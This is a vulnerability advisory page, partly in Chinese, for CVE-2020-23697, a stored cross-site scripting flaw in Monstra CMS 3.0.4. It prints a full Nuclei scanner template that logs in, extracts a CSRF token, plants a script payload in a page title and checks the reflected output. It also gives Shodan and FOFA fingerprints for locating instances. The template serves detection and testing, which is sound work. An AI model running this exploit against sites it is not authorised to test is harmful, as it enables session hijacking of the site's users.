CVE-2020-23697: Monstra CMS 3.0.4 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Monstra CMS | POC: 已公开

漏洞描述

Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: CVE-2020-23697

info:
  name: Monstra CMS 3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/monstra-cms/monstra/issues/463
    - https://nvd.nist.gov/vuln/detail/CVE-2020-23697
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-23697
    cwe-id: CWE-79
    epss-score: 0.092
    epss-percentile: 0.92413
    cpe: cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: monstra
    product: monstra_cms
    shodan-query: http.favicon.hash:419828698
    fofa-query: icon_hash=419828698
  tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated,monstra
variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST /admin/index.php?id=dashboard HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}&login_submit=Log+In
      - |
        GET /admin/index.php?id=pages&action=add_page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /admin/index.php?id=pages&action=add_page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
      - |
        GET /{{string}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_4, "text/html")'
          - 'status_code_4 == 200'
          - 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
        condition: and

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'id="csrf" name="csrf" value="(.*)">'
        internal: true
        part: body
# digest: 4b0a00483046022100b718df3fab7fe2bd7c048cee609d43cb7fa4d07b177e76454254a8e97ece95f0022100ec18cb8e652a4090d9e4773401e5b4f7aa46af7db49b005ff50c1c56eda4000c:922c64590222798bb761d5b6d8e72950

相关漏洞推荐